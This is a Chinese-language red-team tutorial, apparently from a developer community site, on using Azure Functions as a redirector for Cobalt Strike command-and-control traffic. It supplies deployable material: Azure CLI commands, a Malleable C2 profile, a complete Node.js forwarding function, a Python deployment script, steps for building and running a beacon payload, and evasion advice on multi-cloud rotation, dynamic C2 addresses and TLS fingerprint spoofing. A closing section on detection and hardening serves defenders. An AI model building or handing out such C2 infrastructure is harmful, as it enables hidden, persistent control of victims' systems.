前言

  1. 技术背景:在现代网络攻防对抗中,命令与控制(Command and Control, C2)链路是攻击者维持目标访问权限、下发指令和回传数据的生命线。传统的C2通信,如直接连接IP地址或使用可疑域名,极易被流量分析、威胁情报和防火墙策略识别并阻断。因此,将C2流量伪装成正常、合法的业务流量,是现代红队和APT攻击成功的关键。利用云函数(Cloud Functions)边缘计算(Edge Computing)合法域名构建C2链路,正是这种高级流量隐藏技术的核心实践,它属于攻击生命周期中的“命令与控制”和“权限维持”阶段。

  2. 学习价值:掌握本技术,您将能够解决以下核心问题:

    • 绕过网络准入控制:突破基于IP/域名黑名单的传统防火墙和网关封锁。
    • 规避流量异常检测:将C2流量混淆于海量、正常的CDN或云服务商流量中,大幅降低被检测到的风险。
    • 提升C2基础设施的弹性和匿名性:利用云服务商的全球节点,实现C2服务器的快速部署、切换和身份隐藏。
  3. 使用场景:这项技术在以下场景中具有极高的实战价值:

    • 红队演练:在模拟攻击中,用于构建难以被蓝队发现和溯源的C2通信渠道。
    • APT攻击:作为高级持续性威胁的一部分,用于对高价值目标进行长期、隐蔽的控制。
    • 渗透测试:在客户授权的环境中,验证其安全监控和响应能力是否能检测到利用合法服务发起的C2通信。

一、C2域名转发是什么

1. 精确定义

C2域名转发(C2 Domain Fronting),更准确地说是利用云服务进行流量重定向,是一种高级的C2通信隐藏技术。它通过配置云服务(如CDN、云函数、边缘计算节点),将看似访问合法、高信誉域名(例如,由云服务商提供的*.azurewebsites.net*.amazonaws.com等)的流量,在云端内部转发到攻击者实际控制的C2服务器。

2. 一个通俗类比

想象一下,你要给一个住在守卫森严小区里的朋友(C2服务器)送一个秘密包裹(指令/数据)。如果你直接去,门口的保安(防火墙)会因为你不认识而拦下你。

于是,你采用了域名转发的策略:

  1. 你把包裹寄给了小区里一家著名的连锁快递站(高信誉的云服务商,如AWS、Azure)。
  2. 你在快递单的“备注”或“内部指令”字段里写上了朋友的真实门牌号(隐藏在HTTP Header或请求体中的真实C2地址)。
  3. 快递站的保安看到是给官方快递站的包裹,便放行了。
  4. 快递站内部的员工(云函数/边缘计算节点)看到备注后,心领神会,把包裹悄悄送到了你朋友家。

在这个过程中,从外部看,所有的物流都指向那个合法的快递站,从而完美隐藏了你的真实意图。

3. 实际用途

  • 隐藏C2服务器IP:防御方只能看到云服务商的IP,无法直接定位真实的C2服务器。
  • 利用高信誉域名:利用*.microsoft.com, *.google.com等顶级域名的信誉,绕过基于域名的封锁策略。
  • 加密流量伪装:由于流量目的地是大型云服务商,通常使用HTTPS加密,使其内容对于网络监控设备来说更加不透明。

4. 技术本质说明

该技术的本质是利用了大型云服务商为了业务灵活性而提供的HTTP请求路由与处理能力。这些服务允许用户根据HTTP请求的特定特征(如Host头、URL路径、自定义Header等)来执行自定义逻辑或将请求转发到不同的后端。攻击者滥用了这一特性,将云平台本身作为了一个可信的“中间人”或“代理”,实现了从受感染主机到C2服务器的流量重定向。

下图展示了利用云函数进行C2域名转发的原理

攻击者C2服务器 云函数 (边缘节点) 受感染主机 攻击者C2服务器 云函数 (边缘节点) 受感染主机 攻击链路建立过程 请求看似访问合法云服务 真实C2地址隐藏在Header/Body中 云函数作为代理, 向真实C2发起请求 完成一次隐蔽的C2通信 发送HTTPS请求 (Host: function-app.azurewebsites.net) 解析请求, 提取真实C2地址 转发请求 (Host: your-c2-domain.com) 返回指令/数据 将C2服务器的响应返回给受感染主机

这张图清晰地展示了流量如何通过云函数这个“跳板”实现重定向,从而隐藏了C2服务器的真实位置。


二、环境准备

本教程将以Azure Functions为例,因为它提供了免费额度、全球节点和便捷的配置。

1. 工具与版本

  • Azure账号:需要一个可以创建资源的有效Azure订阅(新用户有免费额度)。
  • Azure CLI:版本 2.40.0 或更高。用于通过命令行管理Azure资源。
  • Cobalt Strike:版本 4.7 或更高。业界流行的C2框架,用于生成Payload和管理会话。
  • Malleable C2 Profile:一个专门为域名转发设计的C2配置文件。

2. 下载与安装

  • Azure CLI:

  • Cobalt Strike: 商业软件,请通过官方渠道获取。

3. 核心配置命令

  1. 登录Azure账户

    # 运行此命令后,浏览器将打开登录页面
    az login
    
  2. 创建资源组:资源组是Azure中用于存放相关资源的容器。

    # 将 "YourResourceGroup" 替换为你的资源组名称, "eastus" 可替换为其他区域
    az group create --name YourResourceGroup --location eastus
    
  3. 创建存储账户:云函数需要一个存储账户来管理其状态和代码。

    # 将 "youruniquestorage" 替换为全局唯一的名称
    az storage account create --name youruniquestorage --location eastus --resource-group YourResourceGroup --sku Standard_LRS
    
  4. 创建函数应用:这是我们的核心——云函数实例。

    # 将 "YourUniqueFunctionApp" 替换为全局唯一的名称
    # --runtime "node" 指定了运行时环境,我们用Node.js来编写转发逻辑
    # --consumption-plan-location 指定了消费计划的区域
    az functionapp create --resource-group YourResourceGroup --consumption-plan-location eastus --runtime node --runtime-version 18 --functions-version 4 --name YourUniqueFunctionApp --storage-account youruniquestorage
    

    执行成功后,你将获得一个形如 https://youruniquefunctionapp.azurewebsites.net 的URL,这就是我们的高信誉域名。

4. 可运行环境

  • Cobalt Strike Team Server: 准备一台公网VPS(例如,IP为 1.2.3.4),并在此服务器上运行Cobalt Strike的Team Server。确保防火墙已放行相应端口(例如50050和80/443)。
    # 在VPS上启动Team Server
    # ./teamserver <IP> <Password> <Malleable_C2_Profile>
    ./teamserver 1.2.3.4 YourPassword ./azure_proxy.profile
    
  • Malleable C2 Profile (azure_proxy.profile): 这是配置Cobalt Strike通信行为的关键文件。一个简单的转发配置如下,它指示Beacon通过HTTP GET请求的X-C2-Host头来传递真实C2地址。
    # azure_proxy.profile
    # 仅用于授权测试环境
    
    set sample_name "azure_proxy";
    set sleeptime "30000"; # 30秒心跳
    
    http-get {
        set uri "/api/v1/updates";
    
        client {
            header "Accept" "application/json";
            # 将真实C2服务器地址编码后放入自定义Header
            header "X-C2-Host" "MS5hLmIuYy5k"; # Base64("1.2.3.4")
    
            metadata {
                base64;
                prepend "session-id=";
                header "Cookie";
            }
        }
    
        server {
            header "Content-Type" "application/octet-stream";
            output {
                print;
            }
        }
    }
    
    http-post {
        set uri "/api/v1/submit";
    
        client {
            header "Content-Type" "application/octet-stream";
            # POST请求同样需要携带此Header
            header "X-C2-Host" "MS5hLmIuYy5k"; # Base64("1.2.3.4")
    
            id {
                parameter "id";
            }
    
            output {
                print;
            }
        }
    
        server {
            header "Content-Type" "text/plain";
            output {
                print;
            }
        }
    }
    
    注意: MS5hLmIuYy5k1.2.3.4 的Base64编码。你需要将其替换为你自己C2服务器IP的编码。

三、核心实战

现在,我们将把所有组件连接起来,完成一次完整的C2域名转发实战

步骤1:编写并部署云函数转发逻辑

目的:创建在Azure云端运行的Node.js代码,该代码负责解析收到的请求,并将其转发到真实的C2服务器。

  1. 在本地创建一个名为 HttpTrigger1 的文件夹,并在其中创建 index.jsfunction.json 两个文件。

  2. function.json (函数配置文件)

    {
      "bindings": [
        {
          "authLevel": "anonymous",
          "type": "httpTrigger",
          "direction": "in",
          "name": "req",
          "methods": [
            "get",
            "post"
          ]
        },
        {
          "type": "http",
          "direction": "out",
          "name": "res"
        }
      ]
    }
    

    这段代码定义了一个接受GET和POST请求的匿名HTTP触发器。

  3. index.js (核心转发逻辑)

    /**
     * Azure Function for C2 Traffic Forwarding
     * WARNING: This script is intended for use in authorized security testing environments ONLY.
     * Unauthorized use against any system is illegal.
     */
    const http = require('http');
    const https = require('https');
    
    module.exports = async function (context, req) {
        // 参数:从Header中获取Base64编码的真实C2 Host
        const c2HostEncoded = req.headers['x-c2-host'];
    
        if (!c2HostEncoded) {
            context.res = {
                status: 400,
                body: "Bad Request: X-C2-Host header is missing."
            };
            return;
        }
    
        try {
            // 解码获取真实C2地址
            const c2Host = Buffer.from(c2HostEncoded, 'base64').toString('utf-8');
            const targetProtocol = (req.headers['x-c2-proto'] === 'https') ? https : http; // 允许通过Header指定协议
            const targetPort = req.headers['x-c2-port'] || (targetProtocol === https ? 443 : 80);
    
            const options = {
                hostname: c2Host,
                port: targetPort,
                path: req.url,
                method: req.method,
                headers: {
                    ...req.headers,
                    'host': c2Host // 关键:将Host头修改为真实C2的Host
                }
            };
    
            // 创建一个Promise来处理异步转发
            const forwardRequest = new Promise((resolve, reject) => {
                const proxyReq = targetProtocol.request(options, (proxyRes) => {
                    let body = [];
                    proxyRes.on('data', (chunk) => {
                        body.push(chunk);
                    });
                    proxyRes.on('end', () => {
                        resolve({
                            status: proxyRes.statusCode,
                            headers: proxyRes.headers,
                            body: Buffer.concat(body)
                        });
                    });
                });
    
                proxyReq.on('error', (e) => {
                    context.log.error(`Problem with request: ${e.message}`);
                    reject(e);
                });
    
                // 将原始请求体写入转发请求
                if (req.body) {
                    proxyReq.write(req.rawBody);
                }
                proxyReq.end();
            });
    
            const result = await forwardRequest;
    
            context.res = {
                status: result.status,
                headers: result.headers,
                body: result.body
            };
    
        } catch (error) {
            // 错误处理
            context.log.error(`Function execution error: ${error}`);
            context.res = {
                status: 500,
                body: "Internal Server Error during C2 forwarding."
            };
        }
    };
    
  4. 部署代码:将 HttpTrigger1 文件夹压缩为 HttpTrigger1.zip,然后使用Azure CLI上传。

    # 确保你已经创建了zip文件
    # zip -r HttpTrigger1.zip HttpTrigger1/
    
    # 使用az cli部署
    az functionapp deployment source config-zip -g YourResourceGroup -n YourUniqueFunctionApp --src HttpTrigger1.zip
    

步骤2:生成Cobalt Strike Payload

目的:创建一个Beacon Payload,使其通过我们部署的云函数进行通信。

  1. 启动Cobalt Strike客户端并连接到Team Server。
  2. 创建一个新的Listener:
    • Name: Azure_Proxy_HTTP
    • Payload: Windows Beacon HTTP
    • HTTP Hosts: 填写你的云函数URL,例如 youruniquefunctionapp.azurewebsites.net不要填写C2服务器的真实IP。
    • HTTP Port: 443 (因为Azure Function默认是HTTPS)
    • 点击 “Save”。
  3. 生成Payload:
    • 转到 Attacks -> Packages -> Windows Executable (S)
    • 选择 Azure_Proxy_HTTP 监听器。
    • 选择 Windows Service EXE 以便在后台运行。
    • 生成并保存 beacon.exe

步骤3:执行Payload并验证链路

目的:在目标机器上运行Payload,并观察Cobalt Strike中是否有新会话上线。

  1. beacon.exe 复制到授权的测试目标虚拟机上。

    警告:以下操作仅限在完全授权的测试环境(如你自己的虚拟机)中执行。

  2. 在目标机上执行 beacon.exe

  3. 返回Cobalt Strike客户端,等待几秒到一分钟(取决于你的Profile中的sleeptime)。

  4. 输出结果:你应该能看到一个新的会话出现在目标列表中。

    • External IP 将显示为Azure数据中心的某个IP,而不是你C2服务器的真实IP。
    • Internal IP 将是目标虚拟机的内网IP。
    • 你可以右键点击会话,进入 Interact,并执行 whoamipwd 等命令。所有命令都将通过 youruniquefunctionapp.azurewebsites.net 这条链路进行转发。

自动化脚本示例

以下是一个使用Python自动完成云函数部署的脚本,便于快速搭建基础设施。

# deploy_azure_c2_forwarder.py
# 警告:本脚本仅供授权安全研究和测试使用。
import os
import subprocess
import json
import zipfile
import argparse

# --- 配置参数 ---
# 可通过命令行参数覆盖
CONFIG = {
    "resource_group": "MyC2ResourceGroup",
    "location": "eastus",
    "storage_name": "myc2uniquestorage", # 必须全局唯一
    "function_app_name": "myc2uniqueapp", # 必须全局唯一
    "runtime": "node",
    "runtime_version": "18",
    "functions_version": "4"
}

def run_command(command):
    """执行shell命令并处理错误"""
    try:
        print(f"[*] Executing: {' '.join(command)}")
        result = subprocess.run(command, check=True, capture_output=True, text=True)
        print(f"[+] Success:\n{result.stdout}")
        return result.stdout
    except subprocess.CalledProcessError as e:
        print(f"[!] Error executing command: {' '.join(command)}")
        print(f"[!] Stderr: {e.stderr}")
        raise

def create_function_files():
    """创建云函数所需的本地文件"""
    print("[*] Creating local function files...")
    os.makedirs("HttpTrigger1", exist_ok=True)

    # function.json
    function_json = {
      "bindings": [
        {"authLevel": "anonymous", "type": "httpTrigger", "direction": "in", "name": "req", "methods": ["get", "post"]},
        {"type": "http", "direction": "out", "name": "res"}
      ]
    }
    with open("HttpTrigger1/function.json", "w") as f:
        json.dump(function_json, f, indent=2)

    # index.js
    index_js = """
    /* WARNING: For authorized testing ONLY. */
    const http = require('http');
    const https = require('https');
    module.exports = async function (context, req) {
        const c2HostEncoded = req.headers['x-c2-host'];
        if (!c2HostEncoded) {
            context.res = { status: 400, body: "Bad Request: X-C2-Host header is missing." };
            return;
        }
        try {
            const c2Host = Buffer.from(c2HostEncoded, 'base64').toString('utf-8');
            const targetProtocol = (req.headers['x-c2-proto'] === 'https') ? https : http;
            const targetPort = req.headers['x-c2-port'] || (targetProtocol === https ? 443 : 80);
            const options = {
                hostname: c2Host, port: targetPort, path: req.url, method: req.method,
                headers: { ...req.headers, 'host': c2Host }
            };
            const result = await new Promise((resolve, reject) => {
                const proxyReq = targetProtocol.request(options, (proxyRes) => {
                    let body = [];
                    proxyRes.on('data', (chunk) => body.push(chunk));
                    proxyRes.on('end', () => resolve({ status: proxyRes.statusCode, headers: proxyRes.headers, body: Buffer.concat(body) }));
                });
                proxyReq.on('error', (e) => reject(e));
                if (req.body) { proxyReq.write(req.rawBody); }
                proxyReq.end();
            });
            context.res = { status: result.status, headers: result.headers, body: result.body };
        } catch (error) {
            context.log.error(`Error: ${error}`);
            context.res = { status: 500, body: "Internal Server Error." };
        }
    };
    """
    with open("HttpTrigger1/index.js", "w") as f:
        f.write(index_js)
    
    # 创建zip文件
    zip_filename = "HttpTrigger1.zip"
    with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.write("HttpTrigger1/index.js", "HttpTrigger1/index.js")
        zf.write("HttpTrigger1/function.json", "HttpTrigger1/function.json")
    
    print(f"[+] Created {zip_filename}")
    return zip_filename

def main(config):
    """主函数,执行所有部署步骤"""
    try:
        print("[*] Step 1: Logging into Azure...")
        run_command(["az", "login"])

        print("\n[*] Step 2: Creating Resource Group...")
        run_command(["az", "group", "create", "--name", config["resource_group"], "--location", config["location"]])

        print("\n[*] Step 3: Creating Storage Account...")
        run_command(["az", "storage", "account", "create", "--name", config["storage_name"], "--location", config["location"], "--resource-group", config["resource_group"], "--sku", "Standard_LRS"])

        print("\n[*] Step 4: Creating Function App...")
        run_command(["az", "functionapp", "create", "--resource-group", config["resource_group"], "--consumption-plan-location", config["location"], "--runtime", config["runtime"], "--runtime-version", config["runtime_version"], "--functions-version", config["functions_version"], "--name", config["function_app_name"], "--storage-account", config["storage_name"]])

        zip_file = create_function_files()

        print("\n[*] Step 5: Deploying Function Code...")
        run_command(["az", "functionapp", "deployment", "source", "config-zip", "-g", config["resource_group"], "-n", config["function_app_name"], "--src", zip_file])

        function_url = f"https://{config['function_app_name']}.azurewebsites.net"
        print(f"\n[SUCCESS] Deployment complete! Your C2 redirector URL is: {function_url}")
        print("-> Use this URL in your Cobalt Strike Listener's 'HTTP Hosts' field.")

    except Exception as e:
        print(f"\n[FATAL] An error occurred during deployment: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Automate Azure C2 Forwarder Deployment. WARNING: For authorized testing ONLY.")
    parser.add_argument("--rg", dest="resource_group", help=f"Resource Group name (default: {CONFIG['resource_group']})")
    parser.add_argument("--loc", dest="location", help=f"Azure location (default: {CONFIG['location']})")
    parser.add_argument("--storage", dest="storage_name", help="Unique storage account name")
    parser.add_argument("--app", dest="function_app_name", help="Unique function app name")
    
    args = parser.parse_args()
    
    # 更新配置
    if args.resource_group: CONFIG["resource_group"] = args.resource_group
    if args.location: CONFIG["location"] = args.location
    if args.storage_name: CONFIG["storage_name"] = args.storage_name
    if args.function_app_name: CONFIG["function_app_name"] = args.function_app_name

    # 检查必要参数
    if not CONFIG["storage_name"] or not CONFIG["function_app_name"]:
        print("[!] Error: --storage and --app names are required and must be globally unique.")
        parser.print_help()
    else:
        main(CONFIG)

四、进阶技巧

1. 常见错误

  • 502/503错误:云函数返回5xx错误通常意味着转发逻辑失败。原因可能是:
    • 真实C2服务器宕机或网络不通。
    • 云函数所在数据中心无法访问你的C2服务器IP(被防火墙拦截)。
    • index.js 代码有bug,无法正确处理请求或响应。
  • 400错误:Payload发来的请求中缺少 X-C2-Host 头,检查Malleable C2 Profile配置是否正确加载。
  • 会话上线后立即掉线:通常是GET和POST请求的配置不一致。例如,http-get 配置了转发头,但 http-post 忘记配置,导致Beacon在首次check-in(GET)后,无法回传数据(POST)。

2. 性能 / 成功率优化

  • 使用边缘计算:相比云函数,边缘计算(如Cloudflare Workers, AWS Lambda@Edge)的节点更多,延迟更低。将转发逻辑部署在边缘节点上,可以为C2通信提供更快的响应速度。
  • 多云厂商/多区域部署:不要把所有鸡蛋放在一个篮子里。在Azure, AWS, Google Cloud等多个云厂商的不同区域部署相同的转发函数。在C2 Profile中配置多个高信誉域名,Beacon可以轮询或在某个域名失效时自动切换,极大提升链路的鲁棒性。
  • 动态C2地址:不要在Malleable C2 Profile中硬编码C2服务器的IP。可以将其指向一个由你控制的、返回C2真实IP的URL(例如,存储在GitHub Gist或Pastebin上的一个加密文本)。Beacon先请求该URL解密获得真实C2地址,再通过云函数进行通信,这使得更换后端C2服务器无需重新生成Payload。

3. 实战经验总结

  • Profile是灵魂:一个好的Malleable C2 Profile至关重要。它应该尽可能模拟正常应用的流量特征,例如使用常见的User-Agent、URI路径和Jitter(随机抖动)。
  • 与应用流量融合:如果目标环境广泛使用Office 365,那么选择Azure Functions作为转发器就非常合理。如果目标是开发者,使用AWS或GCP可能更不易引起怀疑。让你的C2流量“淹没”在正常的业务流量海洋中。
  • 短期 vs 长期:对于快速的渗透测试,使用云函数足够。对于长期的红队或APT场景,建议购买一个看起来无害的合法域名(例如 tech-support-updates.com),并将其托管在Cloudflare等CDN上,再通过边缘计算Worker进行转发。这样,即使云函数URL被标记,你自己的域名仍然可控。

4. 对抗 / 绕过思路

  • 绕过SSL/TLS检测:企业通常会对出站流量进行SSL/TLS解密和检查。由于我们的流量目的地是Azure、AWS等大厂,其证书通常被预置为“可信”且“免解密”,从而使我们的C2流量内容得以隐藏。这是域名转发最大的优势之一。
  • 对抗JA3/JARM指纹:一些高级的NDR/EDR产品会通过分析TLS握手客户端(JA3)和服务端(JARM)的指纹来识别恶意软件。使用云函数时,JA3指纹是你的Beacon生成的,但JARM指纹是Azure服务器的。你可以修改C2客户端的TLS握手参数,使其JA3指纹看起来像常见的浏览器(如Chrome),进一步降低被识别的风险。

五、注意事项与防御

1. 错误写法 vs 正确写法

错误写法 (易被发现) 正确写法 (更隐蔽)
C2 Profile中硬编码IP地址。 C2 Profile中通过远程URL动态获取C2地址。
使用默认的Cobalt Strike Profile。 定制Malleable C2 Profile,模拟常见应用流量。
所有C2流量都走同一个云函数URL。 在多个云厂商、多个区域部署转发器,并让Beacon轮询。
使用随机生成的云函数名称。 使用看起来像正常业务的名称,如api-prod-eastus

2. 风险提示

  • 成本风险:虽然云函数有免费额度,但在大规模或高频率的C2通信下,可能会产生意想不到的费用。务必设置预算警报。
  • 滥用封禁:云服务商明确禁止将其服务用于恶意活动。一旦被发现,相关账号和资源将被立即封禁。
  • 法律风险:未经授权对任何计算机系统进行渗透测试都是非法的。所有技术必须在获得明确书面授权的范围内使用。

3. 开发侧安全代码范式 (针对云函数开发者)

如果你是开发正常应用的工程师,为防止你的云函数被滥用为开放代理:

  • 输入验证:严格验证传入的参数。不要将用户提供的URL或Host不经验证就直接用于后端请求。
  • 身份认证:为你的API端点(云函数)启用身份验证(如API Key, OAuth2)。不要使用anonymous匿名访问级别,除非它是公开服务。
  • 最小权限原则:确保云函数执行的角色(IAM Role)仅拥有其完成任务所必需的最小权限。

4. 运维侧加固方案

  • 出站流量白名单:在企业防火墙上,实施严格的出站流量策略。禁止服务器和员工PC直接访问所有未知的IP地址,只允许访问已知的、必要的业务域名。
  • SSL/TLS解密与检查:对出站的加密流量进行解密和检查是发现此类攻击的关键。即使域名是可信的,解密后的HTTP Header和Body也可能暴露恶意指标(如自定义的X-C2-Host头)。
  • 限制云服务访问:如果业务不需要,应在网络层面禁止访问各类云函数、对象存储等服务的默认域名(如*.azurewebsites.net, *.amazonaws.com)。

5. 日志检测线索

  • 高频/周期性连接:在代理或防火墙日志中,寻找从单一内网主机到特定云服务URL(如我们的云函数URL)的、具有固定周期(如每30秒一次)的连接。这是C2心跳的典型特征。
  • 异常HTTP Header:在解密的流量日志中,寻找不常见的自定义HTTP头,如X-C2-Host或任何包含可疑编码字符串的Header。
  • 数据量异常:监控到特定云服务URL的流量,如果发现有规律的小流量(心跳)和突发的大流量(上传/下载文件、执行命令),则应高度警惕。
  • 云平台日志审计:在云平台侧(如Azure Monitor),审计云函数的执行日志。如果发现一个函数被频繁调用,且其出站目的地是一个不相关的、可疑的IP地址,这可能就是一个C2转发器。

总结

  1. 核心知识:利用云函数/边缘计算进行C2域名转发,本质是滥用云服务商提供的合法HTTP路由功能,将C2流量伪装成对高信誉域名的正常访问,从而绕过传统网络防御。
  2. 使用场景:主要用于红队演练和高级渗透测试中,构建隐蔽、稳定、弹性的命令与控制链路。
  3. 防御要点:防御的核心在于“看见”,即通过SSL/TLS流量解密来检查流量内容。结合出站流量白名单策略和对周期性异常行为的监控,可以有效检测和阻断此类威胁。
  4. 知识体系连接:本技术是C2基础设施建设的一部分,与Malleable C2(流量伪装)、Payload生成权限维持等概念紧密相连。
  5. 进阶方向:可以进一步研究使用其他服务(如SaaS应用API、物联网平台MQTT代理等)进行流量转发,或者探索DNS-over-HTTPS (DoH) 等更前沿的C2信道技术。

自检清单

  • 是否说明技术价值?
  • 是否给出学习目标?
  • 是否有 Mermaid 核心机制图?
  • 是否有可运行代码?
  • 是否有防御示例?
  • 是否连接知识体系?
  • 是否避免模糊术语?
Logo

DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。

更多推荐